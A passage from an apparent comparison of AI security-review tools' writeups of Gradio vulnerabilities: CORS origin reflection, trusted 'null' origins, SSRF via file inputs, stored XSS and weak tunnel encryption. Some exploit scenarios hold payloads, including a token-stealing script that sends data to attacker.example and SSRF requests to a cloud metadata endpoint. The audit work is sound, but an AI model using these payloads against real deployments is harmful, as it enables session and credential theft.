/tokenreturns the secure login token in JSON.CustomCORSMiddlewarereflects any origin when a Cookie header is present, so foreign browser code can read that JSON when the browser sends the cookie. - Impact
-
A browser that sends the SameSite=None secure cookie lets an attacker origin read the session token and protected app data.
- Description
-
An arbitrary web origin can read
/tokenwith the user's credentialed cookie on an HTTPS app because CORS reflects that origin. - Exploit scenario
-
A logged-in user visits an attacker origin; JavaScript makes a credentialed GET to
/tokenand reads the returned token. - Recommendation
-
Allow credentialed CORS only for trusted origins and stop returning an HttpOnly authentication token to arbitrary browser origins.
Claude Security (Sonnet 5.5)
CORS middleware reflects any Origin with credentials when a Cookie header is present (and for every origin on non-localhost hosts)
gradio/gradio/route_utils.py:749Predicted severity: High- Root cause
-
Vulnerable symbol: CustomCORSMiddleware._send
Preconditions: The app uses cookie-based login (launch(auth=...)), or the browser sends any cookie to the Gradio host; The victim visits an attacker-controlled page while logged in; The browser attaches the SameSite=None cookie on cross-site requests
Offending code:
if has_cookie or self.is_valid_origin(request_headers):
- Impact
-
Cross-origin account riding and data theft. Any website can read authenticated API responses and files the victim may access, call app functions with the victim's identity, upload files, and read the HttpOnly session token via /token. This defeats the cookie-based login and the localhost origin restriction.
- Description
-
The attacker-controlled Origin header is echoed into Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true whenever the request carries any Cookie header, regardless of is_valid_origin(). The Gradio auth cookie is also issued SameSite=None, so a cross-site page can send authenticated requests and read the responses.
- Exploit scenario
-
A victim logs into a Gradio app protected by auth= (token cookie access-token-<id>, SameSite=None; Secure) and then visits attacker.com. The attacker's JS calls fetch('https://app/config' | '/token' | '/file=...' | '/queue/join', {credentials:'include'}). The browser attaches the cookie. The server answers with ACAO: https://attacker.com plus ACAC: true. For non-localhost deployments is_valid_origin() is always True, so the preflight for JSON POSTs also succeeds. For localhost deployments the has_cookie branch bypasses the localhost-only origin restriction. The attacker reads the responses, including the session token returned by /token, and can invoke any event handler as the victim.
- Recommendation
-
Never reflect an arbitrary Origin together with Access-Control-Allow-Credentials. Drop the has_cookie shortcut and validate the Origin against an explicit allowlist (the app's own origin or a configured list). Do not treat every origin as valid for non-localhost hosts when credentials are involved. Add CSRF protection (Origin/Referer checks or a token) to state-changing routes, and avoid SameSite=None unless embedding is configured.
Claude Security (Opus 5.5)
CORS middleware echoes any Origin with Allow-Credentials whenever the request carries a cookie, or whenever the Host is not localhost
gradio/gradio/route_utils.py:749Predicted severity: High- Root cause
-
Vulnerable symbol: CustomCORSMiddleware._send
Preconditions: Victim visits an attacker-controlled page; Either the app is reachable at a non-localhost host (any origin is reflected) or the browser sends some cookie for the app's host; For data behind auth, the victim has an active Gradio login session (cookie is SameSite=None)
Offending code:
if has_cookie or self.is_valid_origin(request_headers):
- Impact
-
Cross-origin session hijacking and data theft from authenticated Gradio apps. The HttpOnly token can be read through /token, and the attacker can run any app function as the victim and read files the victim can access. The localhost CSRF/read protection is also bypassed.
- Description
-
The attacker-supplied Origin header is written into Access-Control-Allow-Origin, and Access-Control-Allow-Credentials is always true. This happens whenever the request has any Cookie header, and for any non-localhost Host because is_valid_origin returns True there. As a result, any website can make credentialed requests to the Gradio app and read the responses.
- Exploit scenario
-
A victim is logged in to a Gradio app protected with auth=. The login cookie is SameSite=None. The victim then visits evil.example, whose script runs fetch('https://app/token', {credentials:'include'}). The browser sends the SameSite=None cookie. The middleware reflects Origin: https://evil.example with Allow-Credentials: true, so the script reads the victim's session token and username. The same works for /config, /file=..., /queue/join plus /queue/data, and /upload, which lets the attacker run app functions as the victim and read the results. For an app on localhost, the only intended defense is the localhost-origin check, and any cookie the browser holds for localhost (from any port or app) skips it.
- Recommendation
-
Do not reflect arbitrary origins together with Access-Control-Allow-Credentials: true. Remove the has_cookie shortcut. Add an explicit allowed-origins setting, defaulting to same-origin only, and send Allow-Credentials only for allowlisted origins. Make /token require login_check, or remove it.
-
CORS origin validation accepts the null origin huggingface-gradio-2 · 5 writeups High
V12
Opaque origins receive trusted local access
gradio/gradio/route_utils.py:668Predicted severity: Medium- Root cause
-
The CORS allowlist treats the opaque origin
nullas proof of local origin. Opaque origins do not identify a local or trusted principal. - Impact
-
A remote website can use an opaque-origin frame to access configuration, app-exposed files, and prediction functionality of an unauthenticated localhost application. This bypasses the specific restriction meant to prevent ordinary remote origins from reading local app responses; it does not independently bypass a configured password or external authentication callback.
- Description
-
CustomCORSMiddlewarelistsnullamong trusted localhost aliases, andget_hostname("null")parses it as that literal hostname. A request to a localhost app withOrigin: nulltherefore passesis_valid_origin()in both the preflight and actual-response paths. Opaque browser origins are not exclusive to local files: a remote page can create a sandboxed iframe whose requests also carry this origin. Neither middleware assembly nor the default HTTP server installs a separate origin or Host authorization check. For an app using the default absence of password or external authentication, this permits a remotely supplied sandboxed page to read the local app and invoke its HTTP API.
Devin Security (Deep)
Any website can read responses from a Gradio app using the visitor's login cookie
gradio/gradio/route_utils.py:738Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any web page a logged-in user visits can read that user's private Gradio app pages and steal the login token that gives full access to the app.
##### What's wrong
This is a cross-origin resource sharing (CORS) misconfiguration. The custom CORS middleware adds the header that allows credentialed cross-origin reads, and then echoes back whatever origin the request came from whenever the request carries a cookie or the app is not served on localhost. Browsers normally stop one site from reading another site's responses. Here the server tells the browser the read is allowed, no matter which site asked. The login cookie is also set with
samesite=none, so the browser attaches it to those cross-site requests.##### Who can do it
Alice is an engineer at Acme Corp. She runs a Gradio app on an internal server at
https://tools.acme.examplewith a username and password (gr.Blocks().launch(auth=...)), and she is signed in. Mallory runs a public website. She sends Alice a link. While Alice has her Gradio login cookie, Mallory's page makes a background request tohttps://tools.acme.example/tokenwith credentials included. Because the app echoes Mallory's origin back and allows credentials, Mallory's page reads the JSON response, which contains Alice's login token and her username.- The Gradio app is reachable from the browser Mallory's victim is using.
- The app has login enabled (
auth=or anauth_dependency), or has data worth reading behind the login.- The victim is signed in and visits a page Mallory controls.
##### What they get
Mallory gets Alice's login token for the Acme app. With that token she can act as Alice on that app: run any function the app exposes, read files the app serves through
/file=, and read the app configuration. If the app runs models or shell-backed functions on Acme's internal network, she can drive them as Alice. She can also skip the token and simply read responses from/config,/info, and/file=directly from her page using Alice's cookie. This reaches any user she can lure to her page and any Gradio app built with this version; it does not by itself reach other systems that do not trust this app's token.##### How it works
1. Mallory's page issues a
fetchto the Gradio app withcredentials: "include", so the browser attaches the app's login cookie, which is allowed cross-site because/loginsets it withsamesite=noneat gradio/gradio/routes.py:332.2. The CORS middleware always adds
Access-Control-Allow-Credentials: trueat gradio/gradio/route_utils.py:701 and 746.3. In
_sendat gradio/gradio/route_utils.py:747, the middleware reflects the request'sOriginintoAccess-Control-Allow-Originwhenever the request has any cookie, andis_valid_originat gradio/gradio/route_utils.py:753 also returns true for every origin whenever the app's own host is not localhost.4. The browser therefore hands the response body to Mallory's page.
5. The
/tokenroute at gradio/gradio/routes.py:274 returns the value of the login cookie and the matching username in JSON, so the read yields a working session token. - Exploit scenario
-
Not specified.
- Recommendation
-
Drop the
has_cookiecondition in_sendso the origin is reflected only when it passes an explicit check, and replaceis_valid_originwith a real allowlist: accept the app's own origin (from the Host or configured root URL) plus origins the developer opts into, and stop treating "the app is not on localhost" as proof that any origin is fine. Remove"null"from the accepted origins. Stop returning the raw cookie value from/token, or require a same-origin check on it. To check the fix, send a request to/tokenand/configwith anOriginheader of an unrelated site and a cookie present, and confirm the response has noAccess-Control-Allow-Originheader for that origin.
Claude Security (Sonnet 5.5)
CORS localhost protection treats the opaque
nullOrigin as a local origin, letting any website read and drive a local Gradio servergradio/gradio/route_utils.py:705Predicted severity: Medium- Root cause
-
Vulnerable symbol: CustomCORSMiddleware.__init__
Preconditions: The victim runs a Gradio server on localhost and visits an attacker page; The browser permits public-to-local requests (for example Chrome's Local Network Access prompt)
Offending code:
self.localhost_aliases = ["localhost", "127.0.0.1", "0.0.0.0", "null"]
- Impact
-
Cross-site read and write access to a locally running, unauthenticated Gradio app. This includes invoking arbitrary app functions and exfiltrating results and served files.
- Description
-
is_valid_origin allows any origin whose hostname is in localhost_aliases when the Host is local.
nullis in the list, and get_hostname("null") returns "null". Origin: null is sent by sandboxed iframes, data: URLs and file:// pages controlled by any website, so the intended defence against cross-origin access to localhost is defeated. Both preflight and simple responses then carry Access-Control-Allow-Origin: null and Allow-Credentials: true. - Exploit scenario
-
A developer runs demo.launch() on 127.0.0.1:7860. The attacker's page embeds <iframe sandbox="allow-scripts" srcdoc="...">. Inside it, fetch('http://127.0.0.1:7860/config') and a JSON POST to /queue/join (the preflight is also allowed) execute with Origin: null and the responses are readable. The attacker enumerates the API, runs the developer's functions with chosen inputs, and reads outputs and any files in allowed_paths via /file=.
- Recommendation
-
Remove "null" from the local-origin allowlist. Reject requests whose Origin is not an explicit localhost origin when the Host is local, and validate the Host header against an allowlist to also stop DNS rebinding.
Claude Security (Opus 5.5)
Opaque 'null' Origin is treated as localhost, so any sandboxed iframe can drive a local Gradio server
gradio/gradio/route_utils.py:705Predicted severity: Medium- Root cause
-
Vulnerable symbol: CustomCORSMiddleware.__init__
Preconditions: Victim runs a Gradio app on localhost/127.0.0.1; Victim visits an attacker page that uses a sandboxed iframe
Offending code:
self.localhost_aliases = ["localhost", "127.0.0.1", "0.0.0.0", "null"]
- Impact
-
Remote websites can invoke any function of a locally running Gradio app and read its responses and served files, which defeats the localhost-only CORS protection.
- Description
-
The Origin header is attacker-controlled: sandboxed iframes, data: URLs and file: pages send Origin: null. get_hostname('null') returns 'null', which is in localhost_aliases, so is_valid_origin returns True. Both the preflight and simple responses then reflect Origin null with Allow-Credentials.
- Exploit scenario
-
evil.com embeds <iframe sandbox="allow-scripts" srcdoc="...">, whose requests carry Origin: null. The iframe sends a preflighted POST to http://127.0.0.1:7860/run/predict (or /queue/join) with a JSON body. The preflight returns ACAO: null, so the request goes through and the script reads the result. It can also GET /file=<path>, /config and /info. Any Gradio app the victim is running locally can be called and read by any website they visit.
- Recommendation
-
Remove "null" from the trusted origin list. If embedding from file:// pages has to be supported, make it an explicit opt-in.
Vercel Security Review
Trusting Origin: null bypasses local Gradio CORS restrictions
gradio/gradio/route_utils.py:705Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Opaque origins are classified as trusted localhost origins** -
gradio/gradio/route_utils.py:705```python title="gradio/gradio/route_utils.py:705"
self.localhost_aliases = ["localhost", "127.0.0.1", "0.0.0.0", "null"]
```
A hostile website can create a sandboxed scripted iframe whose requests carry
Origin: null; this does not require control of a localhost website.**2. The validator accepts that origin for local servers** -
gradio/gradio/route_utils.py:758-761```python title="gradio/gradio/route_utils.py:758-761"
return (
host_name not in self.localhost_aliases
or origin_name in self.localhost_aliases
)
```
**3. Preflight responses authorize the attacker-controlled origin** -
gradio/gradio/route_utils.py:723-726```python title="gradio/gradio/route_utils.py:723-726"
headers = dict(self.preflight_headers)
origin = request_headers["Origin"]
if self.is_valid_origin(request_headers):
headers["Access-Control-Allow-Origin"] = origin
```
Simple responses likewise reflect it. In browsers permitting loopback requests, visiting the hostile page lets its script read and invoke the victim's unauthenticated local Gradio app.
- Exploit scenario
-
Not specified.
- Recommendation
-
Reject opaque/null origins by default and compare complete origins against an explicit trusted-origin allowlist. Do not bypass origin validation merely because a request contains cookies. Make any local-file embedding exception explicit and opt-in.
-
SSRF in the path parameter of /queue/join huggingface-gradio-3 · 7 writeups High
V12
Prediction file inputs permit unrestricted server-side requests
gradio/gradio/blocks.py:1646Predicted severity: Medium- Root cause
-
The file-ingestion pipeline treats all HTTP(S) URLs as safe download sources and performs the outbound request before component-specific validation. It has no destination-address or redirect-target restriction.
- Impact
-
API callers can make the hosting server issue HTTP GET requests to network destinations inaccessible to the caller, including internal services. Where such a service returns sensitive data without additional authentication, its response can be recovered through a file-valued prediction or the exposed download cache; the particular internal services available depend on deployment.
- Description
-
preprocess_data()recursively moves file-shaped values to cache before constructing the component's data model or calling its validator. For HTTP(S) paths,async_move_resource_to_block_cache()downloads the supplied URL instead of applying the upload-folder restriction. The URL check accepts any string starting withhttp://orhttps://, and the downloader follows redirects without checking destination addresses. Thus a prediction caller can trigger server-side requests to internal HTTP services, even by embedding a file-shaped object in input that would subsequently fail component validation. Downloaded response bodies are stored under the same cache/upload directory exposed by the file-serving route.
Devin Security (Deep)
App downloads any URL a client puts in a file field and serves the response back
gradio/gradio/processing_utils.py:456Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can call a Gradio app that takes a file input can make the server fetch internal addresses, including cloud credential services, and then read what came back.
##### What's wrong
This is server-side request forgery. When a client sends a file reference, the server checks that the path is inside the upload folder, but it skips that check entirely when the path starts with
http://orhttps://. It then downloads that address, following redirects, saves it into the app cache, and returns a/file=link the same client can fetch.##### Who can do it
Acme publishes a public Gradio image demo. Mallory, an anonymous visitor, posts to the app's prediction endpoint with the image input set to
{"path": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "meta": {"_type": "gradio.FileData"}}. The server fetches that address from inside Acme's network and writes the response into its cache, and the response data comes back to Mallory as a/file=URL she can download.- The app exposes at least one event whose input is a file-style component (image, audio, video, file, gallery, and similar).
- The attacker can call the prediction or queue endpoint, which is open to anyone when the app has no login.
##### What they get
Mallory reads whatever the server can reach but she cannot: the cloud instance metadata service, internal admin pages, databases with HTTP interfaces, and link-local addresses. On a cloud host that typically yields temporary cloud credentials, which she can then use to reach Acme's storage and other cloud resources. She can also use the app as a relay to attack internal hosts. The reach is limited to what the app's network position allows.
##### How it works
1. The client sends a file object whose
pathis an attacker-chosen URL to/api/{api_name}or/queue/join, which land inBlocks.preprocess_dataat gradio/gradio/blocks.py:1646.2.
async_move_files_to_cacheskips the upload-folder containment check becauseis_http_url_like(payload.path)is true at gradio/gradio/processing_utils.py:460.3. It calls
async_move_resource_to_block_cache, which routes URLs toasync_save_url_to_cacheat gradio/gradio/blocks.py:284.4.
async_save_url_to_cacheperforms the GET withfollow_redirects=Trueand no check on the host or IP at gradio/gradio/processing_utils.py:301.5. The downloaded file is added to the block's temp files at gradio/gradio/blocks.py:289, which makes it pass the
created_by_appcheck in the/file=route at gradio/gradio/routes.py:541, so the attacker can download the fetched content. - Exploit scenario
-
Not specified.
- Recommendation
-
Resolve the hostname of any client-supplied URL before fetching it and refuse private, loopback, link-local, and metadata addresses, re-checking after every redirect (or disable redirect following). Better still, do not treat a client-supplied
http(s)path as exempt from the upload-folder check during preprocessing: inputs coming from a client should already be uploaded files. To check the fix, call a file-input endpoint withpathset tohttp://169.254.169.254/and to a redirect that lands on a private address, and confirm both are rejected without any outbound request.
Devin Security
Client-supplied file URL is fetched server-side (SSRF) and the response is readable
gradio/gradio/processing_utils.py:456Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can call a public Gradio app with a file input can make the server fetch any internal URL, such as a cloud metadata endpoint, and then download the response.
##### What's wrong
This is server-side request forgery (SSRF). When an event payload arrives from the browser or API,
async_move_files_to_cacheskips the upload-folder check for anyFileData.paththat starts withhttp://orhttps://. The path is then downloaded by the server with redirects followed.##### Who can do it
Alice, an engineer at Acme Corp, hosts a public Gradio image classifier on a cloud VM. Mallory, an anonymous internet user, sends one API call to the app with an image input whose
pathishttp://169.254.169.254/latest/meta-data/iam/security-credentials/acme-role.- The app has at least one file-type input component (Image, File, Audio, Video, and so on).
- The app has no Gradio auth, or Mallory has a login for it.
- The call goes through the normal queue or API path, where
explicit_callis false.##### What they get
The server downloads the internal response into its cache and adds it to the app's served files. The cache path is predictable: the upload folder, then the SHA-1 of the URL, then the URL's last path segment. Mallory then fetches
/file=<that path>and reads the cloud role credentials. She can use them to reach Acme's cloud account. She can also scan and read any internal HTTP service the server can reach.##### How it works
1. Mallory posts to
/queue/joinwith a FileData object whosepathis an internal http URL.2.
Blocks.preprocess_datacallsasync_move_files_to_cachewithcheck_in_upload_folder=True(gradio/blocks.py:1646-1650).3. The upload-folder check is skipped because
is_http_url_like(payload.path)is true (processing_utils.py:460).4.
async_move_resource_to_block_cachecallsasync_save_url_to_cache, which streams the URL withfollow_redirects=Trueand writes it to<cache>/<sha1(url)>/<name>(processing_utils.py:291-306, blocks.py:284-289).5. The file is added to
temp_files, so the/file=route serves it ascreated_by_app(routes.py:540-544). - Exploit scenario
-
Not specified.
- Recommendation
-
Do not download client-supplied URLs during preprocessing. If URL inputs must be supported, resolve the host and block private, loopback, link-local and metadata addresses for every redirect hop, or keep an explicit allowlist. Add a test that posts a FileData path of http://127.0.0.1:<port>/ and confirm it is rejected without any outbound request.
Codex Security (GPT-6 Sol)
File input URL fetches internal services and exposes the response
gradio/gradio/blocks.py:1646Predicted severity: High- Root cause
-
async_move_files_to_cache()exempts HTTP URLs from the upload-root restriction, thenasync_save_url_to_cache()fetches them without destination restrictions. It stores bytes under a URL-derived path beneath the directory allowed by/file=. - Impact
-
An exposed file input gives a direct request and response path to server-reachable internal HTTP services; app authentication may narrow callers.
- Description
-
A user who submits a file input as an HTTP URL can make the Gradio server fetch an internal endpoint and read the cached response through
/file=. - Exploit scenario
-
FileData.path -> async_move_files_to_cache -> async_save_url_to_cache -> shared cache -> /file=
- Recommendation
-
Reject URLs supplied as file input, or enforce an allowlist with DNS and redirect destination checks; bind cached output access to files registered for the request.
Claude Security (Sonnet 5.5)
Unauthenticated SSRF with response read-back: server downloads any http(s) URL supplied in a FileData
pathof API inputgradio/gradio/processing_utils.py:301Predicted severity: High- Root cause
-
Vulnerable symbol: async_save_url_to_cache
Preconditions: The app has at least one event with an input component (true of almost every app); The server can reach the internal target over HTTP GET
Offending code:
async with async_client.stream("GET", url, follow_redirects=True) as response:
- Impact
-
Full-read SSRF to cloud metadata endpoints, localhost services and internal networks reachable from the server, plus a disk-fill DoS vector. No authentication is needed when the app has no login. The attack is also open to any logged-in user when auth is enabled.
- Description
-
The
pathof a client-supplied FileData dict in /queue/join, /run or /call input flows through async_move_files_to_cache into async_save_url_to_cache. The http(s) URL is fetched with redirects followed and no scheme, host or IP validation. validate_url exists in utils.py but is never used. - Exploit scenario
-
An attacker POSTs /queue/join with data=[{"path":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","meta":{"_type":"gradio.FileData"}}] and any valid fn_index. is_file_obj matches for any input component, not only file components. The server GETs the internal URL and writes the body to /tmp/gradio/<sha1(url)>/<last path segment>, adding it to block.temp_files. The attacker computes sha1(url) and the name, then requests GET /file=/tmp/gradio/<sha1>/<name>. The cache directory is allowed by the /file= handler, so the internal response is returned. The same primitive reaches localhost admin ports and internal APIs, and an attacker-controlled URL can stream unbounded data to fill the disk.
- Recommendation
-
Never treat client-supplied FileData.path as a fetchable URL on inputs. If URL inputs must be supported, resolve the host first and reject loopback, link-local, private and metadata addresses. Re-validate every redirect hop, restrict schemes and ports, and enforce size and time limits. Alternatively require the file to already be in the upload folder, as is done for local paths.
Claude Security (Opus 5.5)
Full-read SSRF: user-supplied FileData path URLs are fetched server-side, then served back through /file=
gradio/gradio/processing_utils.py:301Predicted severity: High- Root cause
-
Vulnerable symbol: async_save_url_to_cache
Preconditions: App exposes an event whose input component accepts a file-object dict (File, Image, Audio, Video, JSON, etc.); If auth is enabled, attacker needs a login
Offending code:
async with async_client.stream("GET", url, follow_redirects=True) as response:
- Impact
-
An unauthenticated attacker can read internal HTTP services and cloud metadata credentials reachable from the Gradio host.
- Description
-
An attacker sends input data to /queue/join, /api/{name} or /run/{name} containing a file object such as {"path": "http://169.254.169.254/..."}. preprocess_data passes it to async_move_files_to_cache, which skips the upload-folder check for http URLs. async_move_resource_to_block_cache then downloads the URL, following redirects, into the upload/cache folder at a predictable path that /file= serves.
- Exploit scenario
-
The attacker posts {"data":[{"path":"http://169.254.169.254/latest/meta-data/iam/security-credentials/role"}],"fn_index":0,"session_hash":"x"} to /queue/join for any event whose input is a file/image/audio/JSON component. The server fetches the URL, and the attacker downloads the result from /file=/tmp/gradio/<sha1(url)>/role.
- Recommendation
-
Do not fetch user-supplied URLs during preprocessing. If that is needed, block private, loopback and link-local destinations after DNS resolution, disable redirects or re-validate each hop, and keep fetched content out of web-served folders.
Vercel Security Review
API file inputs can fetch internal URLs and expose their responses
gradio/gradio/blocks.py:1646Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. API inputs enter cache processing before component validation** -
gradio/gradio/blocks.py:1646-1649```python title="gradio/gradio/blocks.py:1646-1649"
inputs_cached = await processing_utils.async_move_files_to_cache(
inputs[i],
block,
check_in_upload_folder=not explicit_call,
```
Any API caller can supply a file dictionary whose path is an HTTP URL; URL paths bypass the upload-folder restriction.
**2. Attacker-selected URLs reach the downloader** -
gradio/gradio/blocks.py:284-287```python title="gradio/gradio/blocks.py:284-287"
if client_utils.is_http_url_like(url_or_file_path):
temp_file_path = await processing_utils.async_save_url_to_cache(
url_or_file_path, cache_dir=self.GRADIO_CACHE
)
```
**3. Unrestricted requests persist internal response bodies** -
gradio/gradio/processing_utils.py:301-304```python title="gradio/gradio/processing_utils.py:301-304"
async with async_client.stream("GET", url, follow_redirects=True) as response:
async with aiofiles.open(full_temp_file_path, "wb") as f:
async for chunk in response.aiter_raw():
await f.write(chunk)
```
No destination-address or redirect validation excludes loopback, private networks, or metadata services. Cached bodies are downloadable through
/file=, exposing services reachable only from the server. - Exploit scenario
-
Not specified.
- Recommendation
-
Validate URL schemes and resolved destination addresses before fetching, reject loopback/private/link-local destinations, and revalidate every redirect. Apply this consistently to synchronous and asynchronous downloaders, with network-level egress restrictions as defense in depth.
-
XSS on every Gradio server via upload of HTML files, JS files, or SVG files huggingface-gradio-10 · 5 writeups High
V12
Unsanitized SVG files enable same-origin script execution
gradio/gradio/components/image.py:160Predicted severity: Medium- Root cause
-
SVG handling relies on a filename suffix and bypasses image decoding and sanitization. The preserved active content is exposed by the shared file route without an attachment disposition or isolated origin.
- Impact
-
An uploader can supply an active SVG and induce another user to open its same-origin file URL, executing script with that user's application-origin privileges. This can expose same-origin responses or permit authenticated application actions, subject to the app's existing authentication and the victim opening the URL.
- Description
-
Image.preprocess()treats anorig_nameending in.svgas sufficient to return the uploaded file unchanged, without decoding or sanitizing its contents.Image.postprocess()also wraps SVG paths directly inFileData, so an image echo handler can preserve an uploaded SVG containing script. The output cache helper registers the unchanged resource and produces a same-origin/file=URL. That route permits uploaded and registered files and returnsFileResponsewithout an attachment disposition or sandbox policy. Consequently, navigating to the resulting SVG URL can execute its embedded script in the Gradio application's origin; displaying it only through an<img>element is not itself the execution trigger.
Devin Security (Deep)
Uploaded HTML and SVG files are served inline from /file=, enabling stored XSS on the app origin
gradio/gradio/routes.py:1120Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can upload a file can plant a web page on the Gradio app's own domain that runs their script in other users' browsers and can take over their sessions.
##### What's wrong
This is stored cross-site scripting (XSS), where attacker script is saved on the server and runs in victims' browsers.
/uploadkeeps the client's file name and extension./file=then serves any file under the upload folder withFileResponse, which picks the content type from the extension and serves it inline. A.htmlor.svgupload is rendered as an active page on the app's origin.##### Who can do it
Mallory uploads
invite.html, which contains a script, to Acme's public Gradio app with a normalPOST /upload. The response tells her the stored path. She sends Alice, another user of the app, the linkhttps://acme-app/file=/tmp/gradio/<hash>/invite.html.- Mallory can call
/upload. That is anyone when the app has noauth, or any user with an account when it does.- Alice opens the link in her browser.
##### What they get
Mallory's script runs as the Acme app in Alice's browser. It can call
/tokenon the same origin to read Alice's session token despite the HttpOnly flag. It can also call the app's APIs as Alice and read her results. In a password-protected app, this gives Mallory Alice's account in that app. In an app without login, the script can still change what Alice sees and capture what she submits. The harm is limited to users of that one app.##### How it works
1.
upload_filekeeps the base name and extension of the uploaded file and stores it underuploaded_file_dir/<sha>/<name>, then returns that path (routes.py:1120-1144).2.
/file=accepts any path inside the upload folder becausewas_uploadedis true (routes.py:551, 556-563).3.
FileResponse(abs_path)serves the file inline with a content type guessed from the extension, such astext/htmlorimage/svg+xml(routes.py:583).4. The browser runs the attacker's script in the app's origin, where it can read
/token(routes.py:274-278). - Exploit scenario
-
Not specified.
- Recommendation
-
In the
/file=route, serve only a small allowlist of safe media types (images other than SVG, audio, video, plain text) inline. Send everything else withContent-Disposition: attachmentandX-Content-Type-Options: nosniff. Consider a restrictiveContent-Security-Policysuch assandboxon/file=responses. To verify, upload a.htmlfile and fetch it through/file=. The response must be an attachment or sandboxed, and the script must not run when the URL is opened in a browser.
Claude Security (Sonnet 5.5)
Stored XSS: user-uploaded HTML/SVG is served inline from the app origin by /file=
gradio/gradio/routes.py:583Predicted severity: Medium- Root cause
-
Vulnerable symbol: file
Preconditions: The attacker can reach POST /upload. Either the app has no auth, or the victim's browser sends the upload cross-site with its cookies.; The victim opens the crafted /file= URL (a single navigation).
Offending code:
return FileResponse(abs_path, headers={"Accept-Ranges": "bytes"})
- Impact
-
Arbitrary JavaScript execution in the origin of any Gradio server, including public Spaces and gradio.live links. Consequences are session and data theft, performing actions as the victim, and attacks on a locally hosted app from any website.
- Description
-
POST /upload keeps the attacker-chosen filename extension and arbitrary content. GET /file=<path> then serves that file with a Content-Type guessed from the extension (text/html, image/svg+xml). It adds no Content-Disposition, CSP or nosniff, so a browser that navigates to the URL runs the attacker's script in the Gradio app's origin.
- Exploit scenario
-
1. The attacker uploads x.html containing <script> via POST /upload. The response contains the path. The path is also predictable: <tmp>/gradio/<sha1 of content>/x.html. If the app uses auth, a cross-site fetch(..., {mode:'no-cors'}) multipart POST made from the attacker's page rides the victim's cookies, because CORS does not restrict simple requests. 2. The victim is lured to https://app/file=/tmp/gradio/<sha1>/x.html. 3. The script runs in the app origin. It can call every API endpoint with the victim's session, read responses, read /config, and exfiltrate data. For the ranged-file variant, the handler reflects all request headers, including the HttpOnly Cookie header, into the response headers (routes.py:578). Same-origin JS can read that header and so steal the HttpOnly session token.
- Recommendation
-
Never serve uploaded or user-influenced content inline with an active content type. Force Content-Disposition: attachment, or add 'Content-Security-Policy: script-src none' and 'X-Content-Type-Options: nosniff' to /file= responses. Serve html, svg, js and xml as text/plain or attachment. Stop passing dict(request.headers) as response headers in RangedFileResponse.
Claude Security (Opus 5.5)
Stored XSS: user-uploaded HTML/SVG files are served inline from the app origin by /file=
gradio/gradio/routes.py:583Predicted severity: Medium- Root cause
-
Vulnerable symbol: App.create_app.file
Preconditions: Attacker can reach /upload: no precondition on apps without auth, or any valid login on apps with auth; Victim opens an attacker-supplied /file= link
Offending code:
return FileResponse(abs_path, headers={"Accept-Ranges": "bytes"})
- Impact
-
Persistent cross-site scripting in the Gradio app origin. An attacker can hijack sessions on apps that use password auth (the /token endpoint returns the access token to same-origin script), act as the victim against every app endpoint, and read the victim's results and files.
- Description
-
/upload (routes.py:1085-1148) keeps the attacker's filename and extension (Path(filename).name plus strip_invalid_filename_characters, which keeps '.') and stores the bytes unchanged under the upload folder. /file= then treats any path under that folder as allowed (was_uploaded, line 551) and returns it with FileResponse or RangedFileResponse. Both guess the MIME type from the extension (text/html, image/svg+xml) and send no Content-Disposition: attachment, no nosniff header and no CSP, so attacker HTML or script runs in the Gradio origin.
- Exploit scenario
-
The attacker POSTs a multipart body to /upload with [email protected] (filename="evil.html") containing <script>fetch('/token').then(r=>r.json()).then(t=>fetch('https://attacker.example/?'+JSON.stringify(t)))</script>. The response gives the stored path /tmp/gradio/<sha1>/evil.html. The attacker sends the victim https://app/file=/tmp/gradio/<sha1>/evil.html. The browser renders it as text/html in the app origin. The script reads the victim's session token from /token, or calls any app API as the victim.
- Recommendation
-
In /file=, serve every response whose guessed MIME type is not on a short safe list (images other than SVG, audio, video, plain text, JSON) with Content-Disposition: attachment, and add X-Content-Type-Options: nosniff. Consider a restrictive Content-Security-Policy (for example sandbox) on /file= responses, or serve user files from a separate origin.
Vercel Security Review
Uploaded HTML and SVG execute under the Gradio application's origin
gradio/gradio/routes.py:1123Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Uploaders retain active-content filename extensions** -
gradio/gradio/routes.py:1123-1125```python title="gradio/gradio/routes.py:1123-1125"
if temp_file.filename:
file_name = Path(temp_file.filename).name
name = client_utils.strip_invalid_filename_characters(file_name)
```
Any caller allowed to upload can store attacker-authored HTML or SVG; application login is required only when configured.
**2. Uploaded files qualify for serving** -
gradio/gradio/routes.py:556-559```python title="gradio/gradio/routes.py:556-559"
if not (
created_by_app
or in_allowlist
or was_uploaded
```
**3. Active content is returned inline on the application's origin** -
gradio/gradio/routes.py:583```python title="gradio/gradio/routes.py:583"
return FileResponse(abs_path, headers={"Accept-Ranges": "bytes"})
```
There is no attachment disposition, safe MIME override, or sandbox policy. Sending another user the resulting
/file=URL executes the uploaded document's scripts with that user's application-origin access, including authenticated API requests. - Exploit scenario
-
Not specified.
- Recommendation
-
Serve untrusted uploads from an isolated, cookieless origin, or force potentially active formats to download with Content-Disposition: attachment and a safe MIME type. Apply a sandbox CSP and nosniff where appropriate, including ranged responses.
-
Insecure communication between the FRP client and server huggingface-gradio-11 · 3 writeups High
V12
Tunnel encryption uses an empty shared key
gradio/gradio/tunneling.py:78Predicted severity: Medium- Root cause
-
The share launcher enables an encryption option without providing secret key material or authenticated transport, confusing a random routing identifier with the independent FRP authentication/encryption configuration.
- Impact
-
Inference: an on-path observer or intermediary can reproduce the public key input used by the tunnel's encryption wrappers, undermining confidentiality of application requests, responses, and credentials on the FRP hop. The exact interception or modification procedure depends on the pinned external
golibcryptographic implementation; HTTPS on the browser-facing share URL does not authenticate or protect this separate transport hop. - Description
-
The tunnel command enables FRP data encryption with
